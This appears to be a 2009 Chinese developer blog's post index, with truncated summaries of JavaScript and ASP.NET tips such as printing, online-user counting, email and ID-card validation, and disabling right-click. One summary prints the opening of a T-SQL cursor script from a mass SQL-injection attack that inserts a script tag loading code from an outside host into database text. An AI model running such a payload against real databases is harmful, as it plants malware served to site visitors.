摘要: 1、dayin()作用:将id为dayin的内容,新建页面并打印,可解决打印某页面中的部分内容的问题。使用方法:将要打印的内容通过 <span id="dayin"></span>包含起来,然后在某个按扭中定义事件<input type="button" onclick="dayin()" value="打印">function dayin() { var co... 阅读全文
posted @ 2009-08-11 12:20 〆 佐哼哼 阅读(431) 评论(1) 推荐(0) 编辑
摘要: 统计在线用户的作用不言而喻,就是为了网站管理者可以知道当前用户的多少,然后根据用户数量来观察服务器或者程序的性能,从而可以直观的了解到网站的吸引力或者网站程序的效率现在,我们就介绍一个简单明了的方法来统计在线用户的多少,该方法的特点就是充分的利用了ASP.NET的特点,结合global.asax文件,用Application和Session巧妙的实现在线用户的统计,由于程序中只用到一个Applic... 阅读全文
posted @ 2009-08-11 11:43 〆 佐哼哼 阅读(2919) 评论(5) 推荐(1) 编辑
摘要: var Email=document.getElementById("inputEmail");var reEmail=/^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/;//邮箱检测var b_email=reEmail.test(Email.value);var Mobile=document.getElementById("inputMobile"... 阅读全文
posted @ 2009-08-11 11:14 〆 佐哼哼 阅读(1299) 评论(0) 推荐(0) 编辑
摘要: // JScript 文件 function checkIdcard(idcard){ var Errors=new Array( "验证通过!", "身份证号码位数不对!", "身份证号码出生日期超出范围或含有非法字符!", "身份证号码校验错误!", "身份证地区非法!" ); var area={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古... 阅读全文
posted @ 2009-08-11 11:09 〆 佐哼哼 阅读(1715) 评论(0) 推荐(0) 编辑
摘要: [代码] 阅读全文
posted @ 2009-08-11 10:22 〆 佐哼哼 阅读(399) 评论(0) 推荐(0) 编辑
摘要: declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000) set @inScript='<script src=http://8f8el3l.cn/0.js></script>' declare table_cursor cursor for select a.name,b.name from syso... 阅读全文
posted @ 2009-08-11 10:18 〆 佐哼哼 阅读(279) 评论(0) 推荐(0) 编辑
摘要: 1. oncontextmenu="window.event.returnValue=false" 将彻底屏蔽鼠标右键<table border oncontextmenu=return(false)><td>no</table> 可用于Table2. <body onselectstart="return false"> 取消选取、防止复制3. o... 阅读全文
posted @ 2009-08-10 17:31 〆 佐哼哼 阅读(346) 评论(2) 推荐(3) 编辑
摘要: [代码] 阅读全文
posted @ 2009-08-10 17:17 〆 佐哼哼 阅读(148) 评论(0) 推荐(0) 编辑
摘要: 解决方法一:前台按钮:<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="Button" OnClientClick="this.form.submit();this.disabled=true" UseSubmitBehavior="False" /> 后台代码:protected void Pa... 阅读全文
posted @ 2009-08-10 17:14 〆 佐哼哼 阅读(410) 评论(2) 推荐(0) 编辑